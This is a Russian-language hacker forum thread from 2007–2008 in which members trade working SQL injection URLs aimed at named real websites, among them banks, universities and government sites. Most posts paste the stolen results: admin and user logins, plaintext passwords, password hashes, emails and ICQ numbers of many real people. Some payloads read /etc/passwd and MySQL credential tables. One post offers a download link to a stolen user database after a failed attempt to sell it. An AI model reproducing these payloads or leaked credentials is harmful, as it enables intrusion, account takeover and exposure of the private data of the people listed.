SQL-инъекции

Хел · 19 ноя 2007

Код:

http://expo-design.ru/_templates/vwp.php?mmid=385&wpid=-1+union+select+0,1,2,3,4,5,concat_ws(char(58),Adm_ID,Adm_Login,Adm_Pwd,Adm_Email),7,8,9,10,11+from+admins+limit+0,1/*&lang=R

MoLoToK · 20 ноя 2007

Код:

http://www.webmasters.org/scripts/software-description.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9,10,11,Table_Name,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables/*

Хел · 20 ноя 2007

MoLoToK,

Админы

Код:

http://www.webmasters.org/scripts/software-description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(char(58),id,username,password,level),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+webmasters2_org.probid_admins+limit+0,1/*

Юзеры

Код:

http://www.webmasters.org/scripts/software-description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(char(58),id,username,password,email),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+webmasters2_org.probid_users+limit+0,1/*

MoLoToK · 21 ноя 2007

Helkern сказал(а):
MoLoToK,

Админы
Код:
http://www.webmasters.org/scripts/software-description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(char(58),id,username,password,level),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+webmasters2_org.probid_admins+limit+0,1/*
Юзеры
Код:
http://www.webmasters.org/scripts/software-description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(char(58),id,username,password,email),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+webmasters2_org.probid_users+limit+0,1/*
Нажмите, чтобы раскрыть...
админка http://www.webmasters.org/scripts/siteadmin/
login admin пасс webmasters666
но опоздали с хэшем и сайт уже похекали

MoLoToK · 25 ноя 2007

Ayda.ru

скуля
Код:
http://www.ayda.ru/stories/show_u.php?u=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
login и pass админа
Код:
http://www.ayda.ru/stories/show_u.php?u=999999+union+select+1,2,3,4,5,concat(login,0x3a,psw),7,8,9,10,11,12,13,14,15,16+from+mkj_admin/*
login и пасс походу от сайта advalue.ru так как на одном хосте
Код:
http://www.ayda.ru/stories/show_u.php?u=999999+union+select+1,2,3,4,5,concat(login,0x3a,password),7,8,9,10,11,12,13,14,15,16+from+users/*

Хел · 25 ноя 2007

Код:

http://www.ntu-kpi.edu.ua/job/index.php?action=list_messages&section_id=-1+union+select+concat_ws(char(58),user,password)+from+mysql.user

Добавлено через 30 минут

Код:

http://www.in.ndu.edu.ua/ndu/data/ind_nov.php?nov_id=-1+union+select+0,concat_ws(char(58),user_id,user_login,user_pass),2+from+users+limit+0,1

Добавлено через 39 минут

Код:

http://www2.znz.edu-ua.net/r.php?r=-1+union+select+aes_decrypt(aes_encrypt(concat_ws(char(58),user_id,login,pass),0x73),0x73)+from+users

K1nD[e]R · 25 ноя 2007

Код:

http://www.correl.ru/intresting.php?id=-557+union+select+1,2,3,table_name,5,6+from+information_schema.columns+where+column_name=0x70617373776f7264/*

Код:

8 баз
administrators.
cinema_accounts.
flashchat_rooms.
flashchat_users.
forum_users.
ibf_forums.
ibf_members.
user.

1 база [administrators.]
login: password:

andy pereslavl
mishasun 2038134

2 База [forum_users]

Nick: password: mail:

Код:

Самозванец/4321/sam@nifiga.net.
  Asa/231274/alseal74@mail.ru.
  Киса/2005/123.
  Ёлка/4321/nafiesta@mail.ru.
  Alpik/0221/homyak-info@mail.ru.
  Geniy/123789/werty.
  Taret/987321/asdf.
  Neon/456321/lkjh.
  КОНТРА/7777/hok@kontra.ru.
  Рамиль/bubas/slon-ram@mail.ru.
  niagara/1234/zxc.
  Ирина/13579/isaluk82@mail.ru.
  дима/killer/prebludok@mail.ru.
   Киса/2005/123.
   Ёлка/4321/nafiesta@mail.ru.

3 база [ibf_members]

Name: Password: email: icq:

Код:

  Guest//test@localhost.com.
        asa/d744696db9cf57a74b7cba61daa3899c/alseal74@mail.ru/257957338.
        clon/c5b2cebf15b205503560c4e8e6d1ea78/tigrenich@mail.ru.
        deva/c5b2cebf15b205503560c4e8e6d1ea78/deva_80@bk.ru.
        Jene4ka/633909fd73441abd86c2e934fe82b3aa/kitten@joker.botik.ru/110310110.
        nata1/827ccb0eea8a706c4c34a16891f84e7b/nata1_77@bk.ru/.
        Lena/04f8c854cb60b1b9f23cafe7501ccf79/superlenok1981@mail.ru.
        Lidia/71b3b26aaa319e0cdf6fdb8429c112b0/lidia04@mail.ru.
        ninok/c5b2cebf15b205503560c4e8e6d1ea78/ninok@list.ru.
        Вера/c5b2cebf15b205503560c4e8e6d1ea78/svaga@bk.ru.
        repic/c5b2cebf15b205503560c4e8e6d1ea78/repic@bk.ru.
        Аяна/60d75b56ccd0786104966d0923c7e2f1/aynochka@yandex.ru.
        isa/a8698009bce6d1b8c2128eddefc25aad/isaluk82@mail.ru.
        Iricka/1c8d2ab0dceeab4ee9df6b408662dfc3/ir1976@rambler.ru.
        алена/d70ebd4b4a1e63cbe210c5deb84866a0/samoshka25@mail.ru.
        Tanya/040b7cf4a55014e185813e0644502ea9/tanya123@mail.ru/312780559.
        E-dgin/a8e8a72b3a601405353123027f0aaf8a/e-dgin@yandex.ru/.
        КОНТРА/900293ddcbf0e10d40732e5f2d41cdb5/kiut-red@mail.ru.
        КОНТРОЛЕР/cc57497c5e0d93bab6b3ca140b33428a/kiut-red@mail.ru/.
        Синяя роза/3f366c879a71e9ba217568f1d2a0a8c5/kiska_i@inbox.ru/.
        Collins/a822c1b51da67e079bf1c461f85cb1cb/collins2004@list.ru/329017195.
        дедушкин   ТАБАК!!!!!!/4297f44b13955235245b2497399d7a93/kolaskin@mail.ru/111603986.
        dolla®/4bc74efcbe25b1e867ef19a1f56872ca/djwax@imail.ru.
        Dulcineya/4ed88732144d08f24d136825383759a0/doctor-65@mail.ru.
        pilligrim/baf4d8a3668a117e64bb4881639826a7/pilligrim3000@mail.ru.
        Konstantin/14dc0375ed631ce6f134abbf042fd845/zztopper@bk.ru.
        Тайский/e10adc3949ba59abbe56e057f20f883e/andrey2332@yandex.ru/.
        АНИКЕН/007769e839806c0a6376c5a18e4bd7a5/kit23@mail.ru.
        ЭНИКЕН/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        БИ О/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        ЛО!/cc57497c5e0d93bab6b3ca140b33428a/lo@inbox.ru.
        viola/e10adc3949ba59abbe56e057f20f883e/viola@wuw.ru.
        Ш УРА/007769e839806c0a6376c5a18e4bd7a5/shura@mail.ru.
        SHУРА/cc57497c5e0d93bab6b3ca140b33428a/shura@mail.ru.
        ДИМОН 25/cc57497c5e0d93bab6b3ca140b33428a/ser@mail.ru.
        МАКСВЕЛЛ/f343bfc68486ab3c37e9c3e4e151b277/cd-102@list.ru/202414832.
        Miledy/633909fd73441abd86c2e934fe82b3aa/crazylisi4ka@bk.ru.
        Black_Rose/a19e98b06127b9f0cce5e0d7a1851438/moth@pereslavl.ru/169378935.
        ЖЕЛАННАЯ/a7d6985a6157a276a7d2d7e75e9aadec/katyshka17@mail.ru.
        ЖЕЛАННАЯ/cc57497c5e0d93bab6b3ca140b33428a/katia15@mail.ru.
        Nata/c68f1a64b81f32be5fd83587de848e89/nata@tm-net.ru.
        sexygerl/827ccb0eea8a706c4c34a16891f84e7b/tigrenich@mail.ru.
        Yulja/a4e28cb962c7595d2a06563521dce4d6/zuya@joker.botik.ru.
        ГЕСС/cc57497c5e0d93bab6b3ca140b33428a/gess@mail.ru.
        Алексей Сергеев/f497b7c74a361d9212acec1808a85918/sergeev71@mail.ru.
        зайка/cc57497c5e0d93bab6b3ca140b33428a/zaiaka@mail.ru.
        МАЛЬВИНА/e6c7c37b7b3982be6ec9328480f7130b/panda20@mail.ru.
        ana/827ccb0eea8a706c4c34a16891f84e7b/natik555_05@mail.ru/.
        Stasya/389861652a2f1a07a1074bd0727efe81/stasya@mail.ru/53407902.
        Pesi/599481398359afbd99278929eb02f420/pesi@rambler.ru/.
        LonelySoul/c39c35b146e4f2b8bd051f87ed702143/nadezhda83@yandex.ru/192811435.
        helen/89e064f5b7ed7f3ad2def76de9375b69/helen14@land.ru.
        saz5x/e10adc3949ba59abbe56e057f20f883e/saz5x@mail.ru.
        гадя петрович хренова/cc57497c5e0d93bab6b3ca140b33428a/cd-102@mail.ru.
        Убитый/e9fb2eda3d9c55a0d89c98d6c54b5b3e/nlv_1975@pochta.ru.
        nawiht/ee3c517129c3af53d31ec4465dc3ebd0/nawiht@mail.ru/336587053.
        Nik/baf22ddb7b1a317d860f48638254e2e9/ryabishkinav@mail.ru.
        voron/bb9fbb5184689258492a7b9e308462c2/pritulo@rambler.ru.
        OttO/81dc9bdb52d04dc20036dbd8313ed055/propk@rambler.ru.
        ангело4ек/23804091115791b3b331fd1e1fa7355d/angelochek1989@mail.ru/268806236.
        Alexander1/449a8249933eeeff8d5e192a10bba221/alexfom81@yahoo.com.
        kostyan/f7c637636b330a0a350140173e0ee9e1/kpashkulsky@gmail.com.
        ИРБИС/65609ad84147ff8dea5ad068c66a1447/leo.65@bk.ru.
        *turklin*/a598fb9489bb74c48129214fc3f95c52/andy2032@yandex.ru.
        Правовая защита и консалтинг/827ccb0eea8a706c4c34a16891f84e7b/mail@l-p-c.ru/.
        Елена/555f2b90974eb8d447626037de2d4c18/00137@rambler.ru.
        Екатерина/d93591bdf7860e1e4ee2fca799911215/00121@rambler.ru.
        1megastar/f3f2dbe8093c29b9adda8b13ed45a06a/andy2032@narod.ru.
        -kisa-/3bdf27c799f2a88ef2acd8148b0a6730/cats4me@narod.ru.
        Darlinga/e10adc3949ba59abbe56e057f20f883e/os_revizor@mail.ru.
        webmoneyjob/343b1c4a3ea721b2d640fc8700db0f36/webmoneyjob@yahoo.com.
        *yan*/7219b9b60d9d70a9a7014369d88ebefe/andy2032@ya.ru.
        Ada/a152e841783914146e4bcd4f39100686/love494@rambler.ru.
        Девственница/cc57497c5e0d93bab6b3ca140b33428a/devstvennitsa90@mail.ru/.
        ogqxeefb/700a9c6f1350c602633df5f8d682ca77/egenomgaul@zzheh.ru.
        tvjaznx/8aa150a326ea92cdc8c427ddce5f7e8c/ykfujvd@odblcf.ru.
        zlswpu/eddd10c5af29183c2f33b484f7fdeee7/ejsklotqn@ltufwyds.ru.
        lqtmzopbtu/23e7640c6fc4a8864725d2591c7168df/fpxqkg@ljrjkjadrr.ru.
        ocxlc/02812bd32dbf58e31b6d8bb328077be0/czhumtabyr@tuogia.ru.
        tjflkycln/05fa3e07e8f3e69cf1fce3d0820e01cd/xmdayod@eqsonpiglt.ru.
        ibiccju/e0e6795666966ddad025fa651d17c284/svlgnsgqqo@ngvurw.ru.
        NUR/827ccb0eea8a706c4c34a16891f84e7b/allhobby@yandex.ru.
        wbmco/3a9cd4fb04b65e7611a941c81d468898/mdmkoppfvs@gmslxemmu.ru.
        mnpfnyddlw/4e7c8fb0c2fbe4e5b08e612fcb5386a4/kgpnmazp@ifywpkhx.ru.
        ocrzecf/9f629790a33a632b73e073ea6760d4af/otynj@ygdxgqp.ru.
        ndgnswryz/4dc2ca96bafc5e88169004dd1ebdc1bb/skvnrlcm@euepqiba.ru.
        skjbfcgwqc/ffcba34286b1b73e37c7b4a85793e4c1/tjugg@fqpnoyqh.ru.
        tehnyk3/e10adc3949ba59abbe56e057f20f883e/tehnyk3@mail.ru.
        jyvdyly/9c6d6f61bfa71179977706739046bafc/flwdq@fwozo.ru.
        bkhhus/30517df6d4910b09f49d86e82323ac45/hvfgrsk@bveeassmhv.ru.
        myfduygp/62715d5a8e44894cd6486c9fe44a041a/didur@jgzcij.ru.
        hewduiipd/f30c512e247edca62f39f84e6289d4ea/fdqokmamzu@gxndhu.ru.
        xgatmbll/c2ae1896b1682440c04725cecada70a4/ermrog@hnpyfw.ru.
        mssoft/e10adc3949ba59abbe56e057f20f883e/mssoft@bk.ru.
        mdbgfqcb/240a2cc4464bc9038e9017a8a6722e82/vptcoymxe@uhuyo.ru.

4 база [cinema_accounts]
Name: Login: Password:

Код:

 Артем Первин/versus/08616ab08c5f7c9bc9b08ff2e827c20b.
Дмитрий/Felix/81dc9bdb52d04dc20036dbd8313ed055.
Оксана/Oksana/d0dbe915091d400bd8ee7f27f0791303.
Сергей Алпаткин/asa/6885e793942458d3ba11f083f35d8178.

Добавлено через 4 часа 39 минут

Код:

http://www.realityhomes.com.do/cat.php?id=999+union+select+1,2,3,concat_ws(0x2F,user,pass,mail),5,6,7,8,9,10,11+from+usuarios/*

Version: 5.0.27-standard/nachon_sistema@localhost/nachon_sistema

Админы и юзвери

User Pass Mail

nachon/viejito/maneylandia@hotmail.com
guitarman/123456/luigisalas@hotmail.com
yospower/power/yospower1@yahoo.com
tribi32/triby0/yorbis11@hotmail.com
F./5v5ml5g5v5/vitico54@hotmail.com
teodoro/toly2468/ics_teodoro@hotmail.com
joriel/0230/joriel@netzeo.net
nmcprl/Carlanatalia/ncastillo@tricom.com.do
herrerap/222008/herrerap@realityhomes.com.do
Carlos/crpf13/crpfga@yahoo.es
mamto/8808607/mamto@realityhomes.com.do
Jissel/filipe/Jissel4@aol.com
otto/77688166601/ottocespedes@hotmail.com
dj-luis/987654321/lincon817@aol.com
elisa/espimai/liz_007_vip@hotmail.com

MoLoToK · 26 ноя 2007

Sunmar
скуля

Код:

http://www.sunmar.ru/index.php?act=text&name=-1'+union+select+1,2,version(),4,5/**

---
ищем нужную таблицу

Код:

http://www.sunmar.ru/index.php?act=text&name=-1'+union+select+1,2,Table_name,4,5+from+information_schema.columns+where+column_name=0x70617373776f7264/*

---
admin:gt5678you

Код:

http://www.sunmar.ru/index.php?act=text&name=-1'+union+select+1,2,concat(username,0x3a,password),4,5+from+users/*

Хел · 1 дек 2007

Код:

http://www.football.ru/?page=club_info&ID=-1+union+select+0,1,aes_decrypt(aes_encrypt(concat_ws(char(58),user_id,username,user_password,user_email,user_icq),0x73),0x73),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+phpbb_users+limit+0,1/*

Код:

http://www.football.ru/?page=club_info&ID=-1+union+select+0,1,aes_decrypt(aes_encrypt(concat_ws(char(58),ID,login,pass,email,ip),0x73),0x73),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+fan+limit+0,1/*

Добавлено через 3 часа 6 минут

Код:

http://donor.org.ua/index.php?module=imggal&mdo=showcat&cat=-4'+union+select+0,load_file(0x2F6574632F706173737764),2,3,4,5,6,7/*

Koller · 3 дек 2007

PHP:

_http://www.euro-online.org/newsletter.php?issue=-11+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(VERSION(),0x71),0x71),4,6,7,8,9,0,1/*

4.1.18-log

PHP:

_http://www.digitalidworld.com/modules.php?op=modload&name=News&file=article&sid=-399+union+select+1,concat_ws(char(58),email,pass),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3+from+nuke_users+limit+1,1/*

admin:21232f297a57a5a743894a0e4a801fc3

PHP:

_http://michaelyoun.com/index.php?id=-335+union+select+1,concat_ws(char(58),login,pass),3,4,5,6+from+users/*

benny:$qf.WHUbUgxF3tIMJhaf6YPp1f/Z.
morley:$RsEOclQoVSoaMCwz0WEDhq2whAuc/
matt:$T5FS9fEc$P.cJCY2RgjNhy164ao6gg0
что за алгоритм хеширования данных там применяется я так и не понял...

PHP:

_http://www.pixheaven.net/galerie.php?id=-10+union+select+1,2,3,4,5,6,7,8,9/*

"Кривая" скуль...

Фонд развития Интернет

PHP:

_http://www.fid.ru/?newsid=-1195578420+union+select+1,2,3,concat_ws(char(58),name,passwd),5,6+from+users

K1nD[e]R · 8 дек 2007

Код:
http://www.dizelist.ru/index.php?id=-7+union+select+1,version(),concat_ws(0x2F,id,name,password),4,5,6,7+from+ds_dizelist_users/*
Version : 5.0.45-log/u59144@10.10.10.202/u59144

Admins:

Id / Name / Password

1/Dizelist.RU/Administrator123
2/Тарас/tarikpassword
3/VE/9505111
4/dizel/9112014
5/Nicolay/456123

Добавлено через 19 часов 20 минут
Код:
http://www.futureplay.org/news.php?id=999+union+select+1,login,3,user_password,5,6,7+from+user/*
Admins Password eMail

dloosemore /e8a59ea2c530174b8f60562d05a4403f /Deborah.Loosemore@algomau.ca
praycroft /b35c7298864f797f41e7b9da8781ed63 /raycroft@algomau.ca
picto_admin /0ef2057aa44ce08666f6a5876bf8da19 /info@pictographics.com

Добавлено через 19 часов 22 минуты
Код:
http://www.nfb.ca/about/news.php?id=-1585+union+select+1,version(),3,concat_ws(0x2F,login,pass),5,6,7,8,9,10,11,12,13,14+from+user/*
Version: 5.0.37-log/webadmin@localhost/texte

Admins:
Login Password

florence / *C6E74EDED542939C3FF2F2277CD9EDD14719455A
ryan /*8DC81F46F004E99DD2347305BF897C973FD50956

Хел · 13 дек 2007

Код:

http://www.versii.com/newss.php?pid=9999999+union+select+0,1,concat_ws(char(58),id,sess_id,name,username,password,email,icq,webpage),3,4,5+from+forums_auth+where+length(icq)=7+limit+13,1/*

Koller · 18 дек 2007

[HIDER="3"]Небольшая подборочка от меня...в основном сайты банков...

International Bank of Trade and Finance, версия: 4.0.20a-nt

Код:

http://www.ibtf.com.sy/page.php?page_id=-1+union+select+1,2,3,4,5,6,7,8,9,0,1
http://www.ibtf.com.sy/page.php?page_id=-1+union+select+1,2,3,4,concat_ws(char(58),id,email,password),6,7,8,9,0,1+from+admins

1:it-dept@ibtf.com.sy:824642539243f20c688f9fdcecddbc50
14:admin-dept@ibtf.com.sy:c4ca4238a0b923820dcc509a6f75849b - 1
13:it-dept@ibtf.com.sy:43dfa631bcb88094fb78ae65bae3982c
15:it-dept@ibtf.com.sy:efd01fcc8702a49fc715c3c52344cda1

CAL Bank, версия: 4.1.22-standard-log

Код:

http://www.calbank.net/newsite/products&services/index.php?id=-37+union+select+1,2,3,4,5,6,7,8,9/*

АБ "Укргазпромбанк", версия: ...

Код:

http://www.ugpb.com/index.php?cmd=page&pid=65.+union+select+1,2,3,4,5,6,7,8,9,0/*

АгроКомБанк, версия: 5.0.45-log

Код:

http://www.agrocombank.kiev.ua/modules.php?op=modload&name=AStatic&file=index&sid=-25+union+select+1,2,3,4

Електрон Банк, версия: 5.0.27-standard-log

Код:

http://www.elbank.com.ua/index.php?lang=ukr&idl1=-3+union+select+1111,version()/*
http://www.elbank.com.ua/index.php?lang=ukr&idl1=-3+union+select+1111,concat_ws(char(58),username,passwd)+from+user

Nazar:7ec3f15374b927ef
Admin:61f6ed0a06cc95e0 - ymka11
Natalya:7ec3f15374b927ef
Knysh:606116411bfcfce5 - Taras
TKurilova:7d99ca2b584f6994

Центр стратегических разработок, версия: 4.0.14-standard-log

Код:

http://www.csr.ru/theme/theme.php?idt=-253+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7/*[/url]
http://www.csr.ru/theme/theme.php?idt=-253+union+select+1,2,3,4,concat_ws(char(58),user,password),6,7+from+mysql.user/*[/url]
root:4069bc4204f493d7

Национальный академический большой театр балета республики Беларусь, версия: 4.0.24_Debian-10sarge1-log

Код:

http://www.balet.by/index.php?lang=RUS&news_id=-23%20union%20select%201,2,3,4,5,6,7,8,9/*

А теперь...

Крупнейшая база вакансий и рюземе job.ukr.net, версия: 5.0.24a

Код:

http://job.ukr.net/agencys/?agency=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7
Достаем логин и пароль любого человека, который опубликовал там свое резюме...если я не ошибаюсь:
http://job.ukr.net/agencys/?agency=-1+union+select+1,2,3,4,5,concat_ws(char(58),email,password),7,8,9,0,1,2,3,4,5,6,7+from+members
Таблицы "интересные"

Actions
AllActions
IPkiev
Prize
Winners
agency
bad_address
bad_address
blockedIP
categ
categ3
categ3_bu
categ7
categ7_bu
...
norot - id - pid - name - email
...
phorum_agency
phorum_money - id - date - time - name - email - subj - msgtext - 
...
wp2_users
wp_users - ID - user_login - user_pass - user_nicename - user_email - user_url - user_registered - user_activation_key - user_status - display_name
ww_Fri_00
...
testaa

http://job.ukr.net/agencys/?agency=-1%20union%20select%201,2,3,4,5,concat_ws(char(58),user_login,user_pass),7,8,9,0,1,2,3,4,5,6,7+from+wp_users+limit+0,1/*

admin:e25c336382125ef5f3494c850d03e11a - yurayurik
anazar:a600428116bbe3ec100d2abea1154ab8 - 140282
ezor:40fb2801f796897e89e95666a6ead4bb
dron:8471c0dfb9a624d565c550498e038a5f - granata
irina:4522a7cee17c15182295ecc9d8aa1f23
soborova:1fb13d6d0b696ea5d9cf34bab98d521b
prach:4952b81e3d042213a9fc2bae988dbc47

И немного "турок" на закуску...

usakgundem.com, версия: 4,1,14

Код:

http://www.usakgundem.com/makaleler.php?type=-1+union+select+1,concat_ws(char(58),user,password),3,4+from+mysql.user/*

yroot:5e8364d05748c14b
yscr_bbCO9C:6803f8152fdeeb8e
yscr_nuke15st:08fb566418d96812
admin:5c556fbc40021130

http://www.usakgundem.com/makaleler.php?type=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(VERSION(),0x71),0x71),3,4+from+mysql.user/*

akmb.gov.tr, версия: 4.0.27-log

Код:

http://www.akmb.gov.tr/index.php?Page=DergiIcerik&SayiNo=-1+union+select+1,version(),3,4,5/*

[/HIDER]

Anvil · 2 янв 2008

Код:

http://www.search.uz/review.php?sid=-317104+union+select+1,2,3,4,5,6,7,8,aes_decrypt(aes_encrypt(concat_ws(char(58),version(),user(),database()),0x73),0x73),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38

4.1.22-standard:searchu_se@localhost:searchu_se

K1nD[e]R · 8 янв 2008

http://team-rs.ru
Код:
http://team-rs.ru/member.php?id=-24+union+select+1,2,3,4,concat_ws(0x2F,id,login,password),6,version(),8,9,10+from+dtool_users/*
Version : 5.0.45-log/u13952@10.10.10.218/u13952

login / password

30VC06T0 / 2A3TFH5A
4YYH6M58 / 5M42I233

VecktorZona · 13 янв 2008

Код:

http://www.1000.edu.cn/zsinfo/view.php?id=9999999+union+select+1,2,3,4,5,6,7,version(),9,0,1/*

GettoLove · 22 янв 2008

Код:

http://www.peekvid.com/showcategorypage.php?id=-8'+union+select+concat_ws(char(58),user,password)+from+mysql.user/*
http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-225+union+select+user(),2/*
http://www.dukemednews.org/news/article.php?id=10200+union+select+1,2,version(),user(),5,6/*
http://www.moss.gr/index.php?page=ytshow&id=-12+union+select+1,version(),3,4,5/*
http://www.ptixio.gr/index.php?page=articles&id=-55+union+select+1,2,concat_ws(char(58),user,password),4,5,6,7,8,9+from+mysql.user/*
http://www.autolist.gr/en/index.php?page=results_cars&find2=%20and%20cars.marka=-78+union+select+user,pass,3,4,5,6,7,8,9,10+from+users/*
http://www.mardim.gr/catalog.php?id=-8+union+select+1,user(),3,4/*
http://www.filmplus.ru/index.php?act=sorting&year=-2007+union+select+1,user_id,3,4,5,6,7,password,9,0,1,2,3,4,5,6,7+from+dle_users/*
http://www.gearthhacks.com/downloads/filedownload.php?file=-1'+union+select+1,2,concat(char(58),password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+user/*
http://www.theplace.ru/news/news.php?id=-19422+union+select+1,2,3,4,5,version(),7,8,9,0,1,2/*
http://www.kiis.com.ua/index.php?id=2+union+select+1,2,3,4,version(),6,7,8,9/*
http://www.phpbuddy.com/article.php?id=-8+union+select+version(),2,3,4,5,6/*

GettoLove · 25 янв 2008

Код:
_http://moblog.co.uk/view.php?id=-281116+union+select+1,2,3,4,5,6,7,8,9,0,1,2,password,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9+from+mob_users+where+username=0x6D6174/*
После чего залазим на форум - в админку и заходим.
username: mat
password: bigmoney

Koller · 28 янв 2008

Первым скуль нашел парень на а4ате...
Затем я...затем с помощью одного знакомого слили БД учётных записей большинства пользователей этой системы ЖЖ в формате id:ник:пароль:ящик + дамп форума где около 6к пользователей...точно не помню...
Дата слива - 21.12.2007
Продать не удалось, посему выкладываю на всеобщее обозрение
[HIDER="5"]stream.ifolder.ru/5093338 пароль: XNT[/HIDER]

logos · 28 янв 2008

Код:
http://www.mnogobd.ru/info.php?id=0%20union%20select%201,2,3,4,5,6,7,8,user(),10,11,12,13,14/*
Версия: 5.0.37-standard-log

Таблицы: bag,client,region,rubrika,t_news,tovar

Быстрый поиск

SQL-инъекции